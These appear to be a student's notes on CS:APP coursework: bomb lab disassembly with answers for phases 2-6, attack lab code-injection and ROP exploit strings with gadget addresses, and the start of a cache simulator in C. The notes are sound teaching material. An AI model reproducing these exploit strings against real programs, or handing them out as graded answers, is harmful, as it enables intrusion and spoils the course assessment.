the scannf function will get the inputs from rdi, the format of rsi, and store the reading values at register rdx -> stack, which is on rsp. and return rax, how many values read
   }
   
   
   0x0000000000400f0a <+14>:    cmpl   $0x1,(%rsp)
   // rsp 0x0 = 1
   
   0x0000000000400f0e <+18>:    je     0x400f30 <phase_2+52>
   0x0000000000400f10 <+20>:    callq  0x40143a <explode_bomb>
   0x0000000000400f15 <+25>:    jmp    0x400f30 <phase_2+52>
   0x0000000000400f17 <+27>:    mov    -0x4(%rbx),%eax
   0x0000000000400f1a <+30>:    add    %eax,%eax
   // adding the current one by itself -> 1+1 = 2
   0x0000000000400f1c <+32>:    cmp    %eax,(%rbx)
   // the second int(0x4 rsp) = 2, do the same until it reaches 
   0x0000000000400f1e <+34>:    je     0x400f25 <phase_2+41>
   0x0000000000400f20 <+36>:    callq  0x40143a <explode_bomb>
   0x0000000000400f25 <+41>:    add    $0x4,%rbx
   //
   0x0000000000400f29 <+45>:    cmp    %rbp,%rbx
   // stop when the rbp is at 0x18 = 24bytes
   0x0000000000400f2c <+48>:    jne    0x400f17 <phase_2+27>
   0x0000000000400f2e <+50>:    jmp    0x400f3c <phase_2+64>
   0x0000000000400f30 <+52>:    lea    0x4(%rsp),%rbx
   0x0000000000400f35 <+57>:    lea    0x18(%rsp),%rbp
   //0x18 = 24, last digit in rbp
   0x0000000000400f3a <+62>:    jmp    0x400f17 <phase_2+27>
   0x0000000000400f3c <+64>:    add    $0x28,%rsp
   0x0000000000400f40 <+68>:    pop    %rbx
   0x0000000000400f41 <+69>:    pop    %rbp
   0x0000000000400f42 <+70>:    retq   
   

rdi is the input

Dump of assembler code for function read_six_numbers:
   0x000000000040145c <+0>:     sub    $0x18,%rsp
   // assign 24 bytes to the rsp
   0x0000000000401460 <+4>:     mov    %rsi,%rdx
   0x0000000000401463 <+7>:     lea    0x4(%rsi),%rcx
   0x0000000000401467 <+11>:    lea    0x14(%rsi),%rax
   0x000000000040146b <+15>:    mov    %rax,0x8(%rsp)
   0x0000000000401470 <+20>:    lea    0x10(%rsi),%rax
   0x0000000000401474 <+24>:    mov    %rax,(%rsp)
   0x0000000000401478 <+28>:    lea    0xc(%rsi),%r9
   0x000000000040147c <+32>:    lea    0x8(%rsi),%r8
   0x0000000000401480 <+36>:    mov    $0x4025c3,%esi
   0x0000000000401485 <+41>:    mov    $0x0,%eax
   0x000000000040148a <+46>:    callq  0x400bf0 <__isoc99_sscanf@plt>
   0x000000000040148f <+51>:    cmp    $0x5,%eax
   0x0000000000401492 <+54>:    jg     0x401499 <read_six_numbers+61>
   0x0000000000401494 <+56>:    callq  0x40143a <explode_bomb>
   0x0000000000401499 <+61>:    add    $0x18,%rsp
   0x000000000040149d <+65>:    retq   
End of assembler dump.

What this function does is to just read six numbers, and store them into each register

image-20240530002636750

Ans:

1 2 4 8 16 32

Phase_3

Dump of assembler code for function phase_3:
   0x0000000000400f43 <+0>:     sub    $0x18,%rsp
   0x0000000000400f47 <+4>:     lea    0xc(%rsp),%rcx
   0x0000000000400f4c <+9>:     lea    0x8(%rsp),%rdx
   0x0000000000400f51 <+14>:    mov    $0x4025cf,%esi
   0x0000000000400f56 <+19>:    mov    $0x0,%eax
   0x0000000000400f5b <+24>:    callq  0x400bf0 <__isoc99_sscanf@plt>
   0x0000000000400f60 <+29>:    cmp    $0x1,%eax
   0x0000000000400f63 <+32>:    jg     0x400f6a <phase_3+39>
   0x0000000000400f65 <+34>:    callq  0x40143a <explode_bomb>
   0x0000000000400f6a <+39>:    cmpl   $0x7,0x8(%rsp)
   0x0000000000400f6f <+44>:    ja     0x400fad <phase_3+106>
   //compare the rsp with 0x7, if above will just explode the bomb
   0x0000000000400f71 <+46>:    mov    0x8(%rsp),%eax
   0x0000000000400f75 <+50>:    jmpq   *0x402470(,%rax,8)
   
   // jump table
   (gdb) x/8gx 0x402470
0x402470:       0x0000000000400f7c      0x0000000000400fb9
0x402480:       0x0000000000400f83      0x0000000000400f8a
0x402490:       0x0000000000400f91      0x0000000000400f98
0x4024a0:       0x0000000000400f9f      0x0000000000400fa6
, so if the first int is 0, jump to 0x0000000000400f7c, store 0xcf and compare with 2nd int. 0xcf = (CF)₁₆ = (12 × 16¹) + (15 × 16⁰) = 207
   0x0000000000400f7c <+57>:    mov    $0xcf,%eax
   0x0000000000400f81 <+62>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f83 <+64>:    mov    $0x2c3,%eax
   0x0000000000400f88 <+69>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f8a <+71>:    mov    $0x100,%eax
   0x0000000000400f8f <+76>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f91 <+78>:    mov    $0x185,%eax
   0x0000000000400f96 <+83>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f98 <+85>:    mov    $0xce,%eax
   0x0000000000400f9d <+90>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f9f <+92>:    mov    $0x2aa,%eax
   0x0000000000400fa4 <+97>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400fa6 <+99>:    mov    $0x147,%eax
   0x0000000000400fab <+104>:   jmp    0x400fbe <phase_3+123>
   0x0000000000400fad <+106>:   callq  0x40143a <explode_bomb>
   0x0000000000400fb2 <+111>:   mov    $0x0,%eax
   0x0000000000400fb7 <+116>:   jmp    0x400fbe <phase_3+123>
   0x0000000000400fb9 <+118>:   mov    $0x137,%eax
   0x0000000000400fbe <+123>:   cmp    0xc(%rsp),%eax
   0x0000000000400fc2 <+127>:   je     0x400fc9 <phase_3+134>
   0x0000000000400fc4 <+129>:   callq  0x40143a <explode_bomb>
   0x0000000000400fc9 <+134>:   add    $0x18,%rsp
   0x0000000000400fcd <+138>:   retq   
End of assembler dump.

Jump Table

image-20240531170245463

Ans:

0 207

Phase_4

Dump of assembler code for function phase_4:
   0x000000000040100c <+0>:     sub    $0x18,%rsp
   0x0000000000401010 <+4>:     lea    0xc(%rsp),%rcx	;2nd = 0xc(%rsp)
   0x0000000000401015 <+9>:     lea    0x8(%rsp),%rdx	;1st= 0x8(%rsp)
   0x000000000040101a <+14>:    mov    $0x4025cf,%esi	;0x4025cf:       "%d %d"
   0x000000000040101f <+19>:    mov    $0x0,%eax		
   0x0000000000401024 <+24>:    callq  0x400bf0 <__isoc99_sscanf@plt>
   0x0000000000401029 <+29>:    cmp    $0x2,%eax	expect 2ints
   0x000000000040102c <+32>:    jne    0x401035 <phase_4+41>
   0x000000000040102e <+34>:    cmpl   $0xe,0x8(%rsp)		;0x8(%rsp)= 1st <= 14
   0x0000000000401033 <+39>:    jbe    0x40103a <phase_4+46>	;jump if below 
   0x0000000000401035 <+41>:    callq  0x40143a <explode_bomb>
   0x000000000040103a <+46>:    mov    $0xe,%edx		;edx = 14
   0x000000000040103f <+51>:    mov    $0x0,%esi		;esi = 0
   0x0000000000401044 <+56>:    mov    0x8(%rsp),%edi	;edi = 1st <= 14
   0x0000000000401048 <+60>:    callq  0x400fce <func4>	
   0x000000000040104d <+65>:    test   %eax,%eax		; expeact eax to be 0, one case if edi =6
   0x000000000040104f <+67>:    jne    0x401058 <phase_4+76>	//jump not !eq/!zero
   0x0000000000401051 <+69>:    cmpl   $0x0,0xc(%rsp)		; cmp 0 2nd
   0x0000000000401056 <+74>:    je     0x40105d <phase_4+81>	;solve if euqal, so 2nd =0
   0x0000000000401058 <+76>:    callq  0x40143a <explode_bomb>
   0x000000000040105d <+81>:    add    $0x18,%rsp
   0x0000000000401061 <+85>:    retq   
End of assembler dump.

Dump of assembler code for function func4: (edi = x, esi =0, edx = 14)
   0x0000000000400fce <+0>:     sub    $0x8,%rsp
   0x0000000000400fd2 <+4>:     mov    %edx,%eax ;eax = 14
   0x0000000000400fd4 <+6>:     sub    %esi,%eax ;eax = 14 - 0
   0x0000000000400fd6 <+8>:     mov    %eax,%ecx ;ecx = 14
   0x0000000000400fd8 <+10>:    shr    $0x1f,%ecx ; ecx = 0
   //shr -> logical shift by index ecx
   
   0x0000000000400fdb <+13>:    add    %ecx,%eax  ;eax = 0 + 14
   0x0000000000400fdd <+15>:    sar    %eax	; eax = 1110 >> 1 = 111 = 7
   //sar Shift Arithmetic Right. 
   // arithmetic shift will maintain the sign bit 
   0x0000000000400fdf <+17>:    lea    (%rax,%rsi,1),%ecx 	ecx = 6
   // addressing mode. ecx = rax + rsi * 1 = 6 +0 * 1= 6
   0x0000000000400fe2 <+20>:    cmp    %edi,%ecx 	cmp x, 6
   0x0000000000400fe4 <+22>:    jle    0x400ff2 <func4+36> 	;jump if less or equal
   0x0000000000400fe6 <+24>:    lea    -0x1(%rcx),%edx
   0x0000000000400fe9 <+27>:    callq  0x400fce <func4>
   0x0000000000400fee <+32>:    add    %eax,%eax
   0x0000000000400ff0 <+34>:    jmp    0x401007 <func4+57>
   0x0000000000400ff2 <+36>:    mov    $0x0,%eax	;eax =0
   0x0000000000400ff7 <+41>:    cmp    %edi,%ecx	;cmp x, 7    first do lower than greater compare
   0x0000000000400ff9 <+43>:    jge    0x401007 <func4+57>	// jump if greater or equal ; 6 in this case could pass, edi =6
   0x0000000000400ffb <+45>:    lea    0x1(%rcx),%esi
   0x0000000000400ffe <+48>:    callq  0x400fce <func4>
   0x0000000000401003 <+53>:    lea    0x1(%rax,%rax,1),%eax
   0x0000000000401007 <+57>:    add    $0x8,%rsp
   0x000000000040100b <+61>:    retq   
End of assembler dump.

Ans:

7 0

Phase_5

(gdb) disas phase_5
Dump of assembler code for function phase_5: (rdi is the input string)
   0x0000000000401062 <+0>:     push   %rbx		;save rbx reg	
   0x0000000000401063 <+1>:     sub    $0x20,%rsp	;allocate 32
   0x0000000000401067 <+5>:     mov    %rdi,%rbx	;rbx = rdi (input)
   0x000000000040106a <+8>:     mov    %fs:0x28,%rax	;canary setup, 
   0x0000000000401073 <+17>:    mov    %rax,0x18(%rsp)	;24 rsp = rax
   0x0000000000401078 <+22>:    xor    %eax,%eax	;erase canary
   0x000000000040107a <+24>:    callq  0x40131b <string_length> ;from phase_1, calcualte string length
   0x000000000040107f <+29>:    cmp    $0x6,%eax	;expect 6 strings separate with space
   0x0000000000401082 <+32>:    je     0x4010d2 <phase_5+112>	;go to 112
   0x0000000000401084 <+34>:    callq  0x40143a <explode_bomb>
   0x0000000000401089 <+39>:    jmp    0x4010d2 <phase_5+112>
   ; loop from the +74, rbx is the input, for(rax=0; rax<=6;rax++)
   0x000000000040108b <+41>:    movzbl (%rbx,%rax,1),%ecx	;ecx = rbx + rax * 1 = rbx = input, rbx is the index of the 6 chars, so each time the rax will increase by 1, and rbx pointer will increment by 1
   0x000000000040108f <+45>:    mov    %cl,(%rsp)			;rsp = 8bit rcx, first char of input into rsp
   0x0000000000401092 <+48>:    mov    (%rsp),%rdx			;rdx = rsp = first char
   0x0000000000401096 <+52>:    and    $0xf,%edx			;edx = 0xf = 0b1111 & first char, expect first to be 9, first can be i or y, second can be o or O
;http://sticksandstones.kstrom.com/appen.html, use this link to find docs
	;3rd -> n,N
   ;4rd -> e, E, u, U
   ;5th -> v,F,V
   ;6th -> g,G,w,W
   0x0000000000401099 <+55>:    movzbl 0x4024b0(%rdx),%edx	;edx = 0x4024b0 + (rdx)
;   (gdb) x/s 0x4024b0
;0x4024b0 <array.3449>:  "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
; based on the index of bl, move the first char into edx, use this string to decrept the msg
;rdx = 9. edx = f
;rdx = 15. edx = l
;rdx = 14. edx = y
;rdx = 5, edx = e
;rdx = 6, edx = r
;rdx = 7. edx = s
   0x00000000004010a0 <+62>:    mov    %dl,0x10(%rsp,%rax,1)	;rdx(8bit), 0x10 + rsp + rax*1 = 0x10 + rsp
   0x00000000004010a4 <+66>:    add    $0x1,%rax	;rax = 1
   0x00000000004010a8 <+70>:    cmp    $0x6,%rax	;cmp rax,6
   0x00000000004010ac <+74>:    jne    0x40108b <phase_5+41>	;recursion until it reaches the end
   0x00000000004010ae <+76>:    movb   $0x0,0x16(%rsp)		; 24rsp = 0
   0x00000000004010b3 <+81>:    mov    $0x40245e,%esi 		;(gdb) x/s 0x40245e 0x40245e:       "flyers"
   0x00000000004010b8 <+86>:    lea    0x10(%rsp),%rdi		; rdi = 16rsp
   0x00000000004010bd <+91>:    callq  0x401338 <strings_not_equal> ;compare the rsi and rdi
   0x00000000004010c2 <+96>:    test   %eax,%eax
   0x00000000004010c4 <+98>:    je     0x4010d9 <phase_5+119>
   0x00000000004010c6 <+100>:   callq  0x40143a <explode_bomb>
   0x00000000004010cb <+105>:   nopl   0x0(%rax,%rax,1)
   0x00000000004010d0 <+110>:   jmp    0x4010d9 <phase_5+119>
   0x00000000004010d2 <+112>:   mov    $0x0,%eax	;eax = 0
   0x00000000004010d7 <+117>:   jmp    0x40108b <phase_5+41>	;jmp to phase_5 + 41
   0x00000000004010d9 <+119>:   mov    0x18(%rsp),%rax
   0x00000000004010de <+124>:   xor    %fs:0x28,%rax
   0x00000000004010e7 <+133>:   je     0x4010ee <phase_5+140>
   0x00000000004010e9 <+135>:   callq  0x400b30 <__stack_chk_fail@plt>
   0x00000000004010ee <+140>:   add    $0x20,%rsp
   0x00000000004010f2 <+144>:   pop    %rbx
   0x00000000004010f3 <+145>:   retq   
End of assembler dump.

Crazy question :<><>

Ans:

ionevg

Phase_6

s(gdb) disas phase_6
Dump of assembler code for function phase_6:
   0x00000000004010f4 <+0>:     push   %r14
   0x00000000004010f6 <+2>:     push   %r13
   0x00000000004010f8 <+4>:     push   %r12
   0x00000000004010fa <+6>:     push   %rbp
   0x00000000004010fb <+7>:     push   %rbx
   0x00000000004010fc <+8>:     sub    $0x50,%rsp	
   0x0000000000401100 <+12>:    mov    %rsp,%r13	;r13 = rsp 		;r13 and rsi can both represent input
   0x0000000000401103 <+15>:    mov    %rsp,%rsi	;rsi = rsp
   0x0000000000401106 <+18>:    callq  0x40145c <read_six_numbers>	;load six inputs from rdi to rsp, see notes from phase_2, index by 4 each			;rsp = six numbers
   0x000000000040110b <+23>:    mov    %rsp,%r14	;r14 = rsp
   0x000000000040110e <+26>:    mov    $0x0,%r12d	;r12d = 0
   
   0x0000000000401114 <+32>:    mov    %r13,%rbp	;rbp = r13, rbp=r13 = 2nd int
   0x0000000000401117 <+35>:    mov    0x0(%r13),%eax		;eax = r13 + 0, first number
   0x000000000040111b <+39>:    sub    $0x1,%eax	;eax = eax - 1
   0x000000000040111e <+42>:    cmp    $0x5,%eax	;cmp eax,5		eax <= 5, from previouse, eax <= 6 
   0x0000000000401121 <+45>:    jbe    0x401128 <phase_6+52>	;jmp if eax is below or equal to 5, has to
   0x0000000000401123 <+47>:    callq  0x40143a <explode_bomb>	
   0x0000000000401128 <+52>:    add    $0x1,%r12d	;r12d = r12d + 1 = 0 + 1
   0x000000000040112c <+56>:    cmp    $0x6,%r12d	;cmp 6, r12d(1)
   0x0000000000401130 <+60>:    je     0x401153 <phase_6+95>	;jump if equal, not equal for the first
   0x0000000000401132 <+62>:    mov    %r12d,%ebx	;ebx = r12d = 1
   
   ;another loop to verify no repeated ints
   0x0000000000401135 <+65>:    movslq %ebx,%rax	;rax = ebx = 1, rax=ebx=2
   ;movslq, movsbl src, dst byte to int, sign-extend, if the ebx -> convert to single byte is 1, extend the sign bit
   0x0000000000401138 <+68>:    mov    (%rsp,%rax,4),%eax	;eax = rsp + rax*4 = rsp + 1*4, move the input string right by 1, index will increase again now
   0x000000000040113b <+71>:    cmp    %eax,0x0(%rbp)	;
   0x000000000040113e <+74>:    jne    0x401145 <phase_6+81>	;can not be equal, 1st and 2nd
   0x0000000000401140 <+76>:    callq  0x40143a <explode_bomb>
   0x0000000000401145 <+81>:    add    $0x1,%ebx	;ebx = ebx + 1
   0x0000000000401148 <+84>:    cmp    $0x5,%ebx	;cmp 5,ebx + 1
   0x000000000040114b <+87>:    jle    0x401135 <phase_6+65>	;jmp if ebx <= 5
   0x000000000040114d <+89>:    add    $0x4,%r13	;r13 +4, move to 2nd int
   0x0000000000401151 <+93>:    jmp    0x401114 <phase_6+32> ;
   
   ;32 - 93: go from each input, compare with make sure not higher than 6, and each int it will compare if it is the same as the rest of the ints. Make sure no repeated value appear, then in this case. the input 0,1,2,3,4,5,6
   
   0x0000000000401153 <+95>:    lea    0x18(%rsp),%rsi	;load last int to rsi
   0x0000000000401158 <+100>:   mov    %r14,%rax	;rax = r14 = first int index
   0x000000000040115b <+103>:   mov    $0x7,%ecx	;ecx = 0x7
   
   0x0000000000401160 <+108>:   mov    %ecx,%edx	;edx = ecx = 0x7
   0x0000000000401162 <+110>:   sub    (%rax),%edx	; edx = edx - rax = 7 - 1st int
   0x0000000000401164 <+112>:   mov    %edx,(%rax)	; (rax) = edx
   0x0000000000401166 <+114>:   add    $0x4,%rax	; (rax) = rax + 0x4
   0x000000000040116a <+118>:   cmp    %rsi,%rax	; cmp last_int, rax= (7-1st int) + 0x4 = 11 - 1st int, compare the last int with the 
   0x000000000040116d <+121>:   jne    0x401160 <phase_6+108>	;
   
   ;95 - 121: loop six values, use 7 to subtrace each int
   
   0x000000000040116f <+123>:   mov    $0x0,%esi	;esi = 0
   0x0000000000401174 <+128>:   jmp    0x401197 <phase_6+163>
   
   0x0000000000401176 <+130>:   mov    0x8(%rdx),%rdx; rdx = rdx +8 = -32
   ;0x6032d8 <node1+8>:     "\340\062`" , this is octal format, convert it to decimal = 224, 50,
   0x000000000040117a <+134>:   add    $0x1,%eax ;eax = 2
   0x000000000040117d <+137>:   cmp    %ecx,%eax	;cmp 2nd int with 2, if not equal, keep adding 1 until it equals the 2nd int. 
   0x000000000040117f <+139>:   jne    0x401176 <phase_6+130>
   0x0000000000401181 <+141>:   jmp    0x401188 <phase_6+148>	;if equal, eax = ecx = 2nd int
   ;from 169
   0x0000000000401183 <+143>:   mov    $0x6032d0,%edx	;if the value is 6 , edx = 76
   0x0000000000401188 <+148>:   mov    %rdx,0x20(%rsp,%rsi,2)	;rsp + 2*rsi + 20 = 1st int + 20 = move 1 to the last int
   0x000000000040118d <+153>:   add    $0x4,%rsi	;rsi = 0 +4
   0x0000000000401191 <+157>:   cmp    $0x18,%rsi	;cmp if it reaches the end,
   0x0000000000401195 <+161>:   je     0x4011ab <phase_6+183> ;if not cont,
   
   0x0000000000401197 <+163>:   mov    (%rsp,%rsi,1),%ecx ;rsp = (1st int + 0 *1) = ecx = 1st int, next loop go to 2nd int
   0x000000000040119a <+166>:   cmp    $0x1,%ecx	;cmp 1, ecx, if it is not 6, it should be higher here
   0x000000000040119d <+169>:   jle    0x401183 <phase_6+143>	;jmp if ecx < 1, guess only if the input is 6 in this case.
   0x000000000040119f <+171>:   mov    $0x1,%eax	;eax = 1
   0x00000000004011a4 <+176>:   mov    $0x6032d0,%edx	;edx = 1
   0x00000000004011a9 <+181>:   jmp    0x401176 <phase_6+130>
   ;store each int into a node, 1st int ->node1, 2nd int ->node2, the node number corresponds the same value of the converted input
   
   
   0x00000000004011ab <+183>:   mov    0x20(%rsp),%rbx	;	rbx = 1st int node number
   0x00000000004011b0 <+188>:   lea    0x28(%rsp),%rax	;	rax = 2nd int node number
   0x00000000004011b5 <+193>:   lea    0x50(%rsp),%rsi	;end node
   0x00000000004011ba <+198>:   mov    %rbx,%rcx		;rcx = rbx = 2nd int node
   
   0x00000000004011bd <+201>:   mov    (%rax),%rdx		;rdx = value at node 2nd number 2, to rdx
   0x00000000004011c0 <+204>:   mov    %rdx,0x8(%rcx)	;rcx = rbx, load the value of 2
   0x00000000004011c4 <+208>:   add    $0x8,%rax		;rax increase by 1 byte
   0x00000000004011c8 <+212>:   cmp    %rsi,%rax		;
   0x00000000004011cb <+215>:   je     0x4011d2 <phase_6+222>
   0x00000000004011cd <+217>:   mov    %rdx,%rcx		;
   0x00000000004011d0 <+220>:   jmp    0x4011bd <phase_6+201>
 ; change the ptr orders based on the storing order.  i think the purpose here is for the below steps, instead of using the rsp + 20/28, it can use pointer arithmatic to plus 8 since we reassign the order of the linked list.
 
   0x00000000004011d2 <+222>:   movq   $0x0,0x8(%rdx) ;0 to the end?
   0x00000000004011da <+230>:   mov    $0x5,%ebp	  ;rbp =  5
   
   0x00000000004011df <+235>:   mov    0x8(%rbx),%rax	;2nd node into rax
   0x00000000004011e3 <+239>:   mov    (%rax),%eax		;eax = value
   0x00000000004011e5 <+241>:   cmp    %eax,(%rbx)		;rbx is the first node, cmp the node value
   0x00000000004011e7 <+243>:   jge    0x4011ee <phase_6+250>	;1st > 2nd, else explode bomb
   0x00000000004011e9 <+245>:   callq  0x40143a <explode_bomb>
   0x00000000004011ee <+250>:   mov    0x8(%rbx),%rbx	;rbx index by 1, now go to 2nd
   0x00000000004011f2 <+254>:   sub    $0x1,%ebp		;4
   0x00000000004011f5 <+257>:   jne    0x4011df <phase_6+235>	; need zf = 0
   ;basically compare the value in the node index, increase the node index by 8 every time, make sure the previous one is always greater, sort in descending order
 
 ;(gdb) x/24wx 0x6032d0
0x6032d0 <node1>:       0x0000014c =  332    0x00000001      0x006032e0      0x00000000
0x6032e0 <node2>:       0x000000a8  = 168   0x00000002      0x006032f0      0x00000000
0x6032f0 <node3>:       0x0000039c =924     0x00000003      0x00603300      0x00000000
0x603300 <node4>:       0x000002b3  = 691   0x00000004      0x00603310      0x00000000
0x603310 <node5>:       0x000001dd = 477    0x00000005      0x00603320      0x00000000
0x603320 <node6>:       0x000001bb  = 443    0x00000006      0x00000000      0x00000000
 
 ;descending order. 3->4->5->6->1->2, and because we revert it by subtracting from 7, have to revert back
 
 ;4 3 2 1 6 5
 
   0x00000000004011f7 <+259>:   add    $0x50,%rsp		;
   0x00000000004011fb <+263>:   pop    %rbx
   0x00000000004011fc <+264>:   pop    %rbp
   0x00000000004011fd <+265>:   pop    %r12
   0x00000000004011ff <+267>:   pop    %r13
   0x0000000000401201 <+269>:   pop    %r14
   0x0000000000401203 <+271>:   retq   
End of assembler dump.

Notes:

In x86-64 assembly, registers like %eax do not have a fixed memory address because they are part of the CPU’s internal state. Instead, %eax is a 32-bit register within the CPU that can hold a value. When you perform an operation like mov 0x0(%r13), %eax, you are transferring a value from memory into the %eax register, not an address.

Storing Values: RAX can hold any integer value, which can be used for arithmetic operations, comparisons, or as a general-purpose register.

Pointer/Address Holder: RAX can store memory addresses, allowing it to be used as a pointer to access or manipulate data in memory.

Ans:

4 3 2 1 6 5

image-20240607022420435 let’s goooo

Lab3 - Attack lab(Code Injection and ROP attack)

image-20240610013516973

image-20240610013526450

image-20240610013535692

Understanding the rdi Register and Parameter Passing

  1. Scalar Values (e.g., integers, floats):
    • If the parameter is a scalar value (such as an integer or a float), the actual value is stored directly in the rdi register.
    • For example, if you pass an integer value 42 to a function, rdi will contain 42.
  2. Pointers (e.g., strings, arrays, structs):
    • If the parameter is a pointer (such as a string, array, or a struct), the rdi register will contain the address of the memory location where the actual data is stored.
    • For example, if you pass a string "hello" to a function, rdi will contain the address of the first character of the string in memory.

Phase4

ROP attack -> in the code instruction set, each code segment that ends with the return (c3) can be named as gadget.

To design, the asm code can be followed from the previous phase2.

usual way is we can move the cookie to the stack, and move the stack to the rdi, and push the function address and return. In this case, since we are going to use the code section, we can use rax to pass the cookie.

So the ASM will be:

pop rax	;58
ret
//pass the cookie
mov rax, rdi	;48 89 c7
ret
//call the function
00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   


;4019a7 + 4 = 4019ab // ab 19 40
;pass the cookie as rax // fa 97 b9 59
;move rax,rdi // 4019a2 // a2 19 40
;then push the function of touch2 //ec 17 40
./hex2raw < 4ansmyown.txt | ./rtarget -q

cmd to run

Summary:

  • Starting the index at an address means the disassembler will interpret the bytes from that point as a complete instruction.
  • The disassembler decodes each instruction in sequence until it reaches the end of the function or another stopping point.
  • For mov or any other instructions, it decodes the entire instruction set starting from the given address.

Important Points from lab manual:

  • Your exploit string must not contain byte value 0x0a at any intermediate position, since this is the ASCII code for newline (‘\n’). When Gets encounters this byte, it will assume you intended to terminate the string.
  • HEX2RAW expects two-digit hex values separated by one or more white spaces. So if you want to create a byte with a hex value of 0, you need to write it as 00. To create the word 0xdeadbeef you should pass “ef be ad de” to HEX2RAW (note the reversal required for little-endian byte ordering).

Phase5

The cookie in ASCII is: 35 39 62 39 39 37 66 61 00

Old way is to pass the cookie as an rax into the register and move it into the stack memory address and called the memory address.

\\\from phase_3, 0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   
   
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
78 dc 61 55 00 00 00 00		;the stack address of the previous
35 39 62 39 39 37 66 61		;store this cookie on the test stack
00
Idea is to make sure there is enough stack address that was able to get used in this case


;use below instructions to load the stack address of the rdi, rsi will be used to set as an offset
000000000000006a <add_xy>:
  6a:	f3 0f 1e fa          	endbr64 
  6e:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  72:	c3                   	retq   
  
; From the farm.asm file, only the instruction movl ecx,esi is being found, so we can only use this and pass around the registers
; next find only the 
mov edx, ecx
mov eax, edx
// after adding bias.
pop rax,
mov rax, rdi	;rdi will be the top address of the stack on test
mov rsp, rax

image-20240617002317736

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61 00

References:

https://www.jianshu.com/p/db731ca57342

https://zhuanlan.zhihu.com/p/60724948

https://blog.liblaf.me/2022/course-work/csapp/attack-lab/2022-04-23-phase-5.html

Lab4

image-20240623201924113

Part1

Idea is to design sets -> cache_lines, dynamic allocate memory

Since we can only know the 2d array size after getting the size array from command line inputs, we have to dynamic allocate memory in this case.

struct and typedef in c

//Struct:
struct struct_name {
    // Member variables (also called fields or members)
    type1 member1;
    type2 member2;
    // ...
    typeN memberN;
};
// Define a structure named 'Person' with members name, age, and height
struct Person {
    char name[50];
    int age;
    float height;
};

struct Person {
   // code
} person1, person2, p[20];
In both cases,

//person1 and person2 are struct Person variables
//p[] is a struct Person array of size 20.


// Declaring variables of type 'struct Person'
struct Person person1, person2;

//typedef

https://www.programiz.com/c-programming/c-structures

image-20240624021518787

image-20240624000353910

LRU counter logic

Initialize LRU counter to 0 -> valid bit is 0; free

how to determine, if there is a find

loop through each line to find smallest, if it is 0, directly assigned

image-20240624171008548

booo, ez

Full Code

#include "cachelab.h"
#include <unistd.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <math.h>

#define uint_32max 1 << 31;
// finish the block of getting the command arguments

struct cache_line{
    int valid_bit;
    int tag;
    int LRU_counter;
}cache_line;

struct result{
    int hit;
    int miss;
    int eviction;
}result;

typedef struct cache_line *cache_line_entry;
typedef cache_line_entry *cache_set_entry;

void usage(){
    printf("Usage: ./csim-ref [-hv] -s <num> -E <num> -b <num> -t <file>\n");
    printf("Options:\n");
    printf("  -h         Print this help message.\n");
    printf("  -v         Optional verbose flag.\n");
    printf("  -s <num>   Number of set index bits.\n");
    printf("  -E <num>   Number of lines per set.\n");
    printf("  -b <num>   Number of block offset bits.\n");
    printf("  -t <file>  Trace file.\n\n");
    printf("Examples:\n");
    printf("  linux>  ./csim-ref -s 4 -E 1 -b 4 -t traces/yi.trace\n");
    printf("  linux>  ./csim-ref -v -s 8 -E 2 -b 4 -t traces/yi.trace\n");

}


void update_result(char I,unsigned int address,cache_set_entry cache,int sets,int E,int b,int v){
    unsigned set_index_cast = (1 << sets) -1;

    unsigned set_index = address >> b & set_index_cast;

    unsigned tag = address >> (sets+b);

    int evict_true = 1;

    unsigned smallest_LRU= uint_32max; //first initliaze, 
    unsigned replaced_LRU_index;

    unsigned largest_LRU = 0;
    // printf("%d %d \n", set_index, tag);
    // load or store, trigger once

    for (int i = 0; i < E;i++){
        if(cache[set_index][i].valid_bit == 0){
            //if there is empty line, no need to evict
            evict_true = 0;
            replaced_LRU_index = i;
            break;
        }
        else
        {
            if(cache[set_index][i].LRU_counter <= smallest_LRU){
                smallest_LRU = cache[set_index][i].LRU_counter;
                replaced_LRU_index = i;
            }
        }
    }

    for (int i = 0; i < E;i++){
        if(cache[set_index][i].LRU_counter > largest_LRU){
            largest_LRU = cache[set_index][i].LRU_counter;
        }
    }

        for (int i = 0; i < E; i++)
        {
            if (cache[set_index][i].tag == tag && cache[set_index][i].valid_bit == 1)
            {
                // found
                result.hit++;
                if(v){
                    if (I != 'M')
                    {
                        printf(" hit\n");
                    }
                    else if (I == 'M')
                    {
                        printf(" hit");
                    }
                }


                // tmr question, how to handle LRU
                cache[set_index][i].LRU_counter = largest_LRU + 1;
                return;
            }
        }
    //didn't find, miss++ and determine if need to evict

    result.miss++;
    
    if (evict_true)
    {
        if(v){
            if(I == 'M'){
                printf(" miss eviction");
            }else{
                printf(" miss eviction\n");
            }
        }


        result.eviction++;
        cache[set_index][replaced_LRU_index].tag = tag;
        cache[set_index][replaced_LRU_index].valid_bit = 1;
